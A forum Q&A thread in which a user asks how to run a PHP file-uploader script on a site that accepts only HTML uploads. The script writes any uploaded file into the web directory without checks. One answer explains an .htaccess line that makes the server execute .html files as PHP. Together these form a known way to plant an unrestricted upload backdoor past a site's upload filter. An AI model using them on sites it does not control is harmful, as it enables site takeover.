Reputation: 124
I was trying to upload this file into a website, but it won't allow me to upload a PHP file into the site. Only HTML are allowed. The problem is, I don't know how to include this PHP script in HTML.
<?php
echo '<title>File Uploader</title>';
echo
'<form action="" method="post"
enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50">
<input name="_upl" type="submit" id="_upl" value="Upload">
</form>';
if( $_POST['_upl'] == "Upload" )
{
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
echo '<b>Upload Success!</b><br><br>';
}
else { echo '<b>Upload Failed!</b><br><br>'; }
}
?>
Upvotes: 3
Views: 385
Reputation: 378
Here is the step by step process to include php code in html file ( Tested )
If PHP is working there is only one step left to use PHP scripts in files with *.html or *.htm extensions as well. The magic word is ".htaccess". Please see the Wikipedia definition of .htaccess to learn more about it. According to Wikipedia it is "a directory-level configuration file that allows for decentralized management of web server configuration."
You can probably use such a .htaccess configuration file for your purpose. In our case you want the webserver to parse HTML files like PHP files.
First, create a blank text file and name it ".htaccess". You might ask yourself why the file name starts with a dot. On Unix-like systems this means it is a dot-file is a hidden file. (Note: If your operating system does not allow file names starting with a dot just name the file "xyz.htaccess" temporarily. As soon as you have uploaded it to your webserver in a later step you can rename the file online to ".htaccess") Next, open the file with a simple text editor like the "Editor" in MS Windows. Paste the following line into the file: AddType application/x-httpd-php .html .htm If this does not work, please remove the line above from your file and paste this alternative line into it, for PHP5: AddType application/x-httpd-php5 .html .htm Now upload the .htaccess file to the root directory of your webserver. Make sure that the name of the file is ".htaccess". Your webserver should now parse *.htm and *.html files like PHP files.
You can try if it works by creating a HTML-File like the following. Name it "php-in-html-test.htm", paste the following code into it and upload it to the root directory of your webserver:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>Use PHP in HTML files</TITLE>
</HEAD>
<BODY>
<h1>
<?php echo "It works!"; ?>
</h1>
</BODY>
</HTML>
Try to open the file in your browser by typing in: http://www.your-domain.com/php-in-html-test.htm (once again, please replace your-domain.com by your own domain...) If your browser shows the phrase "It works!" everything works fine and you can use PHP in .*html and *.htm files from now on. However, if not, please try to use the alternative line in the .htaccess file as we showed above. If is still does not work please contact your hosting provider.
Upvotes: 0
Reputation: 9767
PHP code is interpreted by a web server with a PHP processor module, which generates the resulting web page: PHP commands can be embedded directly into an HTML source document rather than calling an external file to process data. It has also evolved to include a command-line interface capability and can be used in standalone graphical applications. - an extract from a Wikipedia article
If the web server does not provide PHP processing service, I am afraid it can not be done. And normally it only looks through files with .php
suffix. So if you have PHP codes in a .html
file, the codes won't be interpreted.
Upvotes: 1
Reputation: 12356
You can't include a php file in html if the server will not allow anything except html. You can only upload a php file to a server that allows you to serve PHP.
Upvotes: 2